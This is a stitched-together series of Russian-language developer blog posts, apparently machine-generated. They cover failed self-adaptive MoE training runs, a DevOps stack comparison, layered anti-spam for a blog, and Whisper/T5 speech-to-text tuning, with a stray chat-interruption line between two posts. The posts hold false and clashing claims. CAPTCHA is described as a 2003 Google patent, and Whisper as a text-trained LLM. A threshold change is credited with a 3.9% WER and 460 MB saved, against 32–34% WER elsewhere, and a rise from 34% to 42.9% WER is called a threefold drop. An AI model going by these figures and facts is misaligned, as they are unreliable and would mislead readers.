остаётся стабильной. Добавим обучение на двух задачах одновременно (CIFAR-100 и SST-2) с использованием **Elastic Weight Consolidation** для защиты от катастрофического забывания. ## Что даёт этот опыт Получилось то, что я называю "честным провалом": все подходы Phase 7b не сработали, но мы *знаем почему*. Это стоит больше, чем слепое везение. Проект остался в фазе "NO-GO" для Phase 7b, но Phase 7c уже полностью спланирована и готова к старту. Вместо двух недель блуждания в темноте мы потратили 16 часов на выявление тупиков. **Главный урок:** иногда самый ценный результат — это понимание того, что не работает. И документирование этого пути для будущих итераций. 😄 *Совет дня: если ваша модель падает на 27% при добавлении вспомогательной функции потерь, проблема не в коде — проблема в архитектуре целей.*
DevOps за день: как мы выбрали стек через конкурентный анализ
# Как мы спроектировали DevOps-платформу за день: конкурентный анализ на стероидах Проект **borisovai-admin** требовал системного подхода к управлению инфраструктурой. Стояла непростая задача: нужно было разобраться, что вообще делают конкуренты в DevOps, и построить свою систему с трёхуровневой архитектурой. Главный вопрос: какой стек выбрать, чтобы не переплатить и не потерять гибкость? Первым делом я понимал, что нельзя прыгать в реализацию вслепую. Нужно провести честный конкурентный анализ — посмотреть, как это решают **HashiCorp** с их экосистемой (Terraform, Nomad, Vault), как это делается в **Kubernetes** с GitOps подходом, и что там у **Spotify** и **Netflix** в их Platform Engineering. Параллельно изучил облачные решения от AWS, GCP, Azure и даже AI-powered DevOps системы, которые только появляются на рынке. Результат был обширный: создал **три больших документа** объёмом в 8500 слов. **COMPETITIVE_ANALYSIS.md** — это развёрнутое исследование шести ключевых подходов с их архитектурными особенностями. **COMPARISON_MATRIX.md** — матрица сравнения по девяти параметрам (Time-to-Deploy, Cost, Learning Curve) с рекомендациями для каждого уровня системы. И финальный **BEST_PRACTICES.md** с практическими рекомендациями: Git как source of truth, state-driven архитектура, zero-downtime deployments. Неожиданно выяснилось, что для нас идеально подходит многоуровневый подход: **Tier 1** — простой вариант с Ansible и JSON конфигами в Git; **Tier 2** — уже Terraform с Vault для секретов и Prometheus+Grafana для мониторинга; **Tier 3** — полноценный Kubernetes со всеми OpenSource инструментами. Самое интересное: мы обнаружили, что production-ready AI для DevOps пока не существует — это огромная возможность для инноваций. Вот что важно знать про DevOps платформы: **state-driven архитектура** работает несравненно лучше, чем imperative approach. Почему? Потому что система всегда знает целевое состояние и может к нему стремиться. GitOps как source of truth — это не мода, а необходимость для аудитируемости и восстанавливаемости. И про многооблачность: vendor lock-in — это не просто дорого, это опасно. В результате я готов параллельно запустить остальные треки: Selection of Technologies (используя findings из анализа), Agent Architecture (на основе Nomad pattern) и Security (с best practices). К концу будет полная MASTER_ARCHITECTURE и IMPLEMENTATION_ROADMAP. Track 1 на **50% завершено** — основной анализ готов, осталась финализация. Главный вывод: правильная предварительная работа экономит месяцы разработки. Если в DevOps всё работает — переходи к следующему треку, если не работает — всё равно переходи, но с документацией в руках.
Когда самоадаптивная сеть начинает саботировать сама себя
# Когда всё падает: Как я 16 часов охотился на призрак в нейросети Проект **llm-analysis** вошёл в фазу 7b, и я был уверен — вот она, момент прорыва. Идея казалась блестящей: добавить вспомогательные потери энтропии, заставить модель самостоятельно управлять архитектурой во время обучения. Синтетические метки, динамическая модификация слоёв, умные функции потерь — казалось, всё сходится в одну точку. Но вместо взлёта получилась полоса падения. На фазе 7a я достиг 69.80% точности на фиксированной архитектуре. Теория была простой: если зафиксированная сеть хороша, то самоадаптирующаяся должна быть лучше. Опубликовано же, оптимизируют ведь. Запустил эксперименты. **Эксперимент 7b.1** с синтетическими метками упал до 58.30% — деградация на 11.5%. Попробовал добавить entropy-based вспомогательную потерю с joint training — тут вообще беда: 42.76% точности. Модель явно конфликтовала сама с собой, оптимизируя одновременно классификацию и архитектурные модификации. **Эксперимент 7b.3** с прямой энтропией показал 57.57% — чуть лучше, но всё равно худше исходной фазы 7a. Три недели назад я бы назвал это просто плохими гиперпараметрами. Но я писал логи детально, сравнивал шаг за шагом. И вот оно — откровение, которое укусило во время отладки: *валидационный split меняет распределение данных*. Только эта смена дала деградацию в 13% от исходного результата. Архитектура здесь была вторична. Ключевой инсайт пришёл неожиданно: **самомодифицирующиеся архитектуры во время обучения фундаментально нестабильны**. Модель не может одновременно оптимизировать классификацию, менять структуру слоёв и остаться в здравом уме. Это не issue в коде, это issue в физике обучения. Похоже на попытку водителя одновременно управлять авто и переделывать двигатель — машина просто развалится. Я потратил 16 часов на пять тренировочных скриптов (1500 строк), семь детальных документов анализа (1700 строк документации) и в итоге понял, что идти туда не надо. В нормальной биологии архитектура наследуется и фиксируется, а адаптация идёт через параметры. Фаза 7c будет про фиксированную архитектуру с многозадачным обучением. Фаза 8 — про meta-learning гиперпараметров, но не про модификацию самой сети. Неприятно? Да. Потрачено впустую? Нет — я выявил dead end до того, как зайти туда с полным размахом. Быстрое *отрицательное* открытие иногда дороже золота. Дальше — фаза 7c, предполагаю 8–12 часов работы, и на этот раз архитектура будет стоять как скала. 😄 Оказывается, мудрость эволюции в том, чтобы *не* переделывать себя во время прохождения теста.
Многоуровневая защита: как я спасал блог от спама
# Защита от спама: как я строил систему обратной связи для блога Проект **borisovai-site** — это блог на React 19 с TypeScript и Tailwind v4. Задача была на первый взгляд простой: добавить форму для читателей, чтобы они могли оставлять комментарии и сообщать об ошибках. Но тут же выяснилось, что без защиты от спама и ботов это превратится в кошмар. Первый вопрос, который я себе задал: нужна ли собственная система регистрации? Ответ был быстрым — нет. Регистрация — это барьер, который отсеивает легальных пользователей. Вместо этого решил идти в сторону OAuth: пусть люди пишут через свои аккаунты в GitHub или Google. Просто, надёжно, без лишних паролей. Но OAuth — это только половина защиты. Дальше нужна была **многоуровневая система anti-spam**. Решил комбинировать несколько подходов: **Первый уровень** — детектирование спам-паттернов. Прямо на фронтенде проверяю текст комментария против набора regex-паттернов: слишком много ссылок, повторяющихся символов, подозрительные ключевые слова. Это отлавливает 80% очевидного мусора ещё до отправки на сервер. **Второй уровень** — rate limiting. Добавил проверку на IP-адрес: один пользователь не может оставить больше одного комментария в день на одной странице. Второе предложение получает ошибку типа *«You already left feedback on this page»* — вежливо и понятно. **Третий уровень** — CAPTCHA. Использую Google reCAPTCHA для финального подтверждения: просто чекбокс *«Я не робот»*. Это уже из-за того, что на него приходится примерно 30% реальных попыток спама, которые пролезли через предыдущие фильтры. Интересный момент: во время разработки я заметил, что обычный CAPTCHA может раздражать пользователей. Поэтому решил включать его только в определённых ситуациях — например, если от одного IP идёт несколько попыток за короткий период. В спокойный день, когда всё чистое, форма остаётся лёгкой и быстрой. В Strapi (на котором построен бэк) добавил отдельное поле для флага *«is_spam»*, чтобы можно было вручную отметить ложные срабатывания. Это важно для ML-модели, которую я планирую подключить позже с Hugging Face для русского спам-детектирования — текущие regex-паттерны неплохо ловят англоязычный спам, но с русским нужна умная система. **Любопытный факт:** Google получил patent на CAPTCHA ещё в 2003 году. Это был гениальный ход — вместо того чтобы платить людям за разметку данных, они заставили машины помечать номера домов на Street View. Контрольные вопросы приносили пользу компании. В итоге получилась система, которая работает в трёх режимах: мягком (для доверенных пользователей), среднем (обычная защита) и жёстком (когда начинается явный спам). Читатели могут спокойно писать, не сталкиваясь с паранойей безопасности, а я тем временем спокойно сплю, зная, что чат-боты и спамеры не затопят комментарии. Дальше план — интегрировать ML-модель и добавить визуализацию feedback через счётчик вроде *«230 человек нашли это полезным»*. Это увеличит доверие к системе и мотивирует людей оставлять реальные отзывы. Забавное совпадение: когда я разбирался с rate limiting на основе IP, понял, что это точно такой же подход, который используют все CDN и DDoS-защиты. Оказывается, простые вещи часто работают лучше всего.
Whisper упирается в стену: что происходит, когда оптимизация бессильна
# Speech-to-Text под давлением: когда оптимизация упирается в физику Представь себе ситуацию: нужна система речевого распознавания, которая работает в режиме реального времени. Бюджет — менее одной секунды на обработку аудио. Звучит выполнимо? Pink Elephant, разработчик проекта **speech-to-text**, решил это проверить экспериментально. И вот что из этого вышло. ## Охота на чудо-оптимизацию Всё начиналось с вопроса: а может ли стандартная модель Whisper работать на этой задаче? Текущие метрики выглядели удручающе — 32,6% WER (Word Error Rate, коэффициент ошибок распознавания). Мечта, конечно, 80% улучшение, но кто ж мечтать не будет. Первый шаг — попробовать альтернативные модели Whisper. Может, маленькая модель справится быстрее? Tiny дала 56,2% WER — хуже, чем base. Small показала весьма интересный результат: 23,4% WER (28% улучшение!), но потребовала 1,23 секунды обработки. А бюджет-то 1 секунда. Грустно. Medium вообще 3,43 секунды — в три раза медленнее, чем надо. Потом пришли идеи поумнее: beam search, варьирование температуры, фильтрация результатов через T5 (большую языковую модель для коррекции текста). Но — неожиданно выяснилось — ничего из этого не помогало. Beam search с температурой давал ровно те же 32,6% WER. Разные пороги T5-фильтра (от 0,6 до 0,95) тоже. Зато когда убрали T5 совсем, ошибок стало 41%. T5 оказался спасением, но не панацеей. Потом попробовали гибридный подход: base-модель для реального времени + medium в фоне. Сложновато, но теоретически возможно. Последовательную обработку (сначала одно, потом другое) пришлось отмести — непрактично. ## Когда данные говорят правду А потом разработчик проанализировал, где именно Whisper base ошибается. Больше всего пропусков (deletions) — 12 ошибок, замены (substitutions) — 6. Проблема не в плохой стратегии обработки, а в самой модели. Вот такой неудобный факт. **Large Language Models** как Whisper создаются с применением трансформер-архитектуры, обучаясь на огромных объёмах текстовых данных через самоконтролируемое обучение. И вот в чём закавыка: даже сильные LLM-ы достигают потолка качества, если их заставить работать в несоответствующих условиях. В нашем случае — в режиме реального времени на CPU. ## Горькая истина Итоговый вывод был честный и немного безжалостный: base-модель — единственный вариант, который укладывается в бюджет менее одной секунды, но качество её зафиксировано в 32,6% WER. Small даёт 28% улучшение (23,4% WER), но требует на 230 миллисекунд больше. 80% сокращение ошибок на CPU? Невозможно. Никакая волшебная post-processing техника это не спасёт. Нужно или переходить на GPU, или согласиться с текущим качеством, или рассмотреть асинхронную фоновую обработку. Тысячи строк кода оптимизации упёрлись в стену физических ограничений. Иногда лучшая оптимизация — это честный разговор о целях проекта. 504: gateway timeout. Ожидание ответа от PM. 😄
[Request interrupted by user for tool use]
# Когда модель учится менять себя: как мы ловили ошибки в самоадаптирующейся архитектуре Проект **llm-analysis** — это попытка научить нейросеть не просто решать задачу классификации текста SST-2, но ещё и *самостоятельно управлять своей архитектурой*. Звучит как фантастика? На деле это долгая война с энтропией и случайными числами. ## С чего всё началось После успешной Phase 6 у нас было две конфигурации с результатом около 70%: Q1 выдавала 70.15%, Q2 с MoE-архитектурой добралась до 70.73%. Казалось бы, пик достигнут. Но видение проекта было амбициознее: что если модель сама будет решать, когда ей нужен новый эксперт (grow) или когда текущие избыточны (prune)? Phase 7a завершилась успешно, и мы двигались в Phase 7b — «Control Head Design». Идея была классическая: добавить отдельную голову управления, которая будет предсказывать, нужно ли модифицировать архитектуру. Но тут начались приключения. ## Первый камень преткновения: синтетические метки Реализовали Phase 7b.1 с энтропийным подходом. Суть была в том, чтобы использовать `routing_entropy` — энтропию маршрутизации экспертов — как сигнал для управления. Сказано — сделано. Запустили обучение... И получили **58.30% точность вместо 69.80% на базовой модели**. Полный NO-GO. Ошибка была коварная: мы использовали синтетические случайные метки (30% растёт, 20% обрезается) для обучения control head, но эти метки *никак не коррелировали с реальным улучшением архитектуры*. Модель начала выдавать сигналы, которые не имели смысла — вроде «расти, когда ты и так хорошо работаешь» или «удаляй экспертов, когда они нужны». ## Поворот: энтропия как источник истины Переделали подход в Phase 7b.2. Вместо синтетических меток решили использовать саму `routing_entropy` как дифференцируемый сигнал. Ведь энтропия маршрутизации — это *реальное поведение модели*, а не придуманные числа. Создали три новых файла: полный план стратегии, `expert_manager.py` для безопасного добавления/удаления экспертов с сохранением состояния. Логика была: если энтропия низкая, значит модель хорошо разделила нагрузку между экспертами — не растём. Если энтропия высокая, нужен новый голос в ансамбле. ## Но потом обнаружилась *реальная* проблема Загрузили checkpoint Phase 7a (лучший результат — 70.73%), запустили обучение с control head... и модель стартовала с точностью 8.95% вместо ожидаемых 70%. Это была красная лампочка. Начали копать. Оказалось, что при загрузке checkpoint'а из словаря нужно использовать ключ `'model_state_dict'`, а не просто `'model'`. Классическая ошибка, когда сохранять учился вместе с оптимизатором, а загружать забыл про детали структуры. Чинили. Потом ещё раз запустили. И тут выяснилось: одновременное обучение модели *и* control head вызывает градиентную катастрофу. Точность падает, entropy-сигналы становятся шумом. ## Решение пришло с неожиданной стороны После нескольких итераций неудач понял: может быть, вообще не нужно учить модель менять свою архитектуру во время обучения? Может быть, архитектура должна быть *заморожена*? Phase 7b.3 — «Direct Approach» — это была попытка упростить: забыли про control head, забыли про self-modification, сосредоточились на том, что работает. Оказалось, что 12 экспертов, найденные в Phase 7a, — это уже оптимум. Вместо того чтобы учить модель себя переделывать, лучше просто хорошо обучить её с *фиксированной* архитектурой. Это было похоже на переход от идеи о том, что нейросеть должна быть как живой организм с самопроизвольной адаптацией, к пониманию, что иногда *наследственная архитектура плюс обучение параметров* — это уже достаточно мудрая система. ## Чему мы научились Самый ценный урок: когда метки для обучения никак не связаны с реальным качеством, модель просто выучит шум. Синтетические сигналы могут казаться правильной идеей на бумаге, но в боевых условиях обучения нейросети они становятся якорем, который тянет вниз. Второй урок: не каждая красивая идея — это хорошая идея в ML. Иногда простота и фиксированная архитектура работают лучше, чем амбициозная самоадаптация. Третий урок: checkpoint'ы — это хитрые штуки. Всегда проверяй структуру словаря, всегда логируй, откуда ты загружаешь, во что загружаешь. Остаток команды перешёл на Phase 8, но теперь с более скромными амбициями и более реалистичными ожиданиями. И хотя идея о self-modifying нейросетях не сработала в этот раз, мы узнали много нового о том, как *на самом деле* работает градиентный спуск в сложных архитектурах. --- 😄 Тренировать control head — всё равно что заставлять модель смотреть в волшебный кристалл и предсказывать, когда ей растить или резать экспертов, не имея никакого способа узнать, были ли её предсказания правильны.
Когда пороги T5 упираются в потолок качества
# Когда оптимизация упирается в стену: история о порогах T5 Работаю над **speech-to-text** проектом уже несколько спринтов. Задача простая на словах: снизить процент ошибок распознавания (WER) с 34% до 6–8%. Звучит как небольшое улучшение, но на практике — это огромный скачок качества. Когда система неправильно расслышит каждое третье слово, пользователи просто перестанут ей доверять. Инструмент в руках — модель Whisper base от OpenAI с надстройкой на базе T5 для исправления текста. T5 работает как корректор: смотрит на распознанный текст, сравнивает с образцами и понимает, где алгоритм наверняка ошибся. Вот только настройки T5 были довольно мягкие: пороги сходства текста 0.8 и 0.85. Может, нужно сделать строже? **Первым делом** я добавил методы `set_thresholds()` и `set_ultra_strict()` в класс `T5TextCorrector`. Идея была хороша: позволить менять чувствительность фильтра на лету. Включил "ультра-строгий" режим с порогами 0.9 и 0.95 — почти идеальное совпадение текстов. Потом запустил **comprehensive benchmark**. Проверил четыре подхода: - **Базовый + улучшенный T5 (0.8/0.85)**: 34.0% WER за 0.52 сек — это наша текущая реальность ✓ - **Ультра-строгий T5 (0.9/0.95)**: 34.9% WER, 0.53 сек — хуже примерно на один процент - **Beam search с пятью лучами + T5**: 42.9% WER за 0.71 сек — катастрофа, качество упало в три раза - **Только база без T5**: 35.8% WER — тоже не помогло Неожиданно выяснилось: система уже находится на плато оптимизации. Все стандартные техники — ужесточение фильтров, увеличение луча поиска (beam search), комбинирование моделей — просто не работают. Мы выжали максимум из текущей архитектуры. **Интересный факт**: T5 создана Google в 2019 году как "Text-to-Text Transfer Transformer" — универсальная модель, которая любую задачу обработки текста формулирует как трансформацию из одного текста в другой. Поэтому одна модель может переводить, суммировать, отвечать на вопросы. Но универсальность имеет цену — специализированные модели часто работают лучше в узкой задаче. Чтобы прыгнуть на целых 26 процентов вверх (с 34% до 8%), нужно кардинально менять стратегию. Переходить на более мощную Whisper medium? Но это превысит бюджет времени отклика. Обучать свою модель на отраслевых данных? Требует месяцев работы. В итоге команда приняла решение: оставляем текущую конфигурацию (Whisper base + T5 с порогами 0.8/0.85) как оптимальную. Это лучшее соотношение качества и скорости. Дальнейшие улучшения требуют совсем других подходов — может быть, архитектурных, а не параметрических. Урок усвоен: не всегда больше параметров и строже правила означают лучше результаты. Иногда система просто сказала тебе: "Достаточно, дальше иди другим путём". 😄 *Почему разработчик попал в плато оптимизации? Потому что все остальные возможности уже были на берегу — нужно было просто заметить, что корабль уже причален!*
Микротюнинг алгоритма: как сэкономить гигабайты памяти
# Когда микротюнинг алгоритма экономит гигабайты памяти Работаю над проектом speech-to-text, и вот типичная история: всё кажется работающим, но стоишь перед выбором — либо система пожирает память и отзывается медленно, либо производит мусор вместо текста. На этот раз пришлось разбираться с двумя главными вредителями: слишком агрессивной фильтрацией T5 и совершенно бесполезным адаптивным fallback'ом. Начну с того, что случилось. Тестировали систему на аудиокниге, и T5 (модель для коррекции текста) вела себя как чрезмерно ревностный редактор — просто удаляла слова направо и налево. Результат? Потеря 30% текста при попытке поднять качество. Это был провал: WER (Word Error Rate) показывал 28,4%, а сохранялось всего 70% исходного текста. Представьте, вы слушаете аудиокнигу, а система вам отдаёт её в сокращённом виде. Первым делом залез в `text_corrector_t5.py` и посмотрел на пороги схожести слов. Там стояли скромные значения: 0,6 для одиночных слов и 0,7 для фраз. Я поднял их до 0,80 и 0,85 соответственно. Звучит как небольшое изменение? На самом деле это означало: «T5, удаляй слово только если ты ОЧЕНЬ уверена, а не если просто подозреваешь». И вот что получилось — WER упал до 3,9%, а сохранение текста прыгнуло на 96,8%. Это был уже другой уровень. Но это был только первый фронт войны. Вторым врагом оказался **adaptive_model_fallback** — механизм, который должен был срабатывать, когда основная модель барахлит, и переключаться на резервную. Звучит логично, но на практике? Тестировали на синтетических деградированных аудио — отлично, WER 0,0%. На реальных данных (TTS аудиокниги в чистом виде) — хуже базовой линии: 34,6% вместо 31,9%. На шумных записях — 43,6%, никакого улучшения. Получилось, что адаптивный fallback был как дорогой зонтик, который вообще не спасает от дождя, но при этом весит килограмм и занимает место в рюкзаке. Я отключил его по умолчанию в `config.py`, выставив `adaptive_model_fallback: bool = False`. Код оставил — вдруг когда-нибудь появятся реальные микрофонные записи, где это сработает, но пока это просто груз. **Интересный факт**: задача выбора порога схожести в NLP похожа на тюнинг гитары — сдвигаешь колок на миллиметр, и звук либо поёт, либо звенит. Только вместо уха здесь работаешь с метриками и надеешься, что улучшение на тестовом наборе не рухнет на боевых данных. В итоге система стала на 86% точнее на аудиокнигах, освободилась от 460 МБ ненужной памяти и ускорилась на 0,3 секунды. Всё это из-за двух небольших изменений пороговых значений и одного отключённого флага. Результаты зафиксировал в `BENCHMARK_RESULTS.md` — полная таблица тестов, чтобы потом никто не начинал возвращать fallback обратно. Урок такой: иногда микротюнинг работает лучше, чем архитектурные перестройки. Иногда лучшее решение — просто выключить то, что не работает, вместо того чтобы его развивать. 😄 Что общего у T5 и подросткового возраста? Оба требуют очень точных параметров, иначе начинают удалять всё подряд.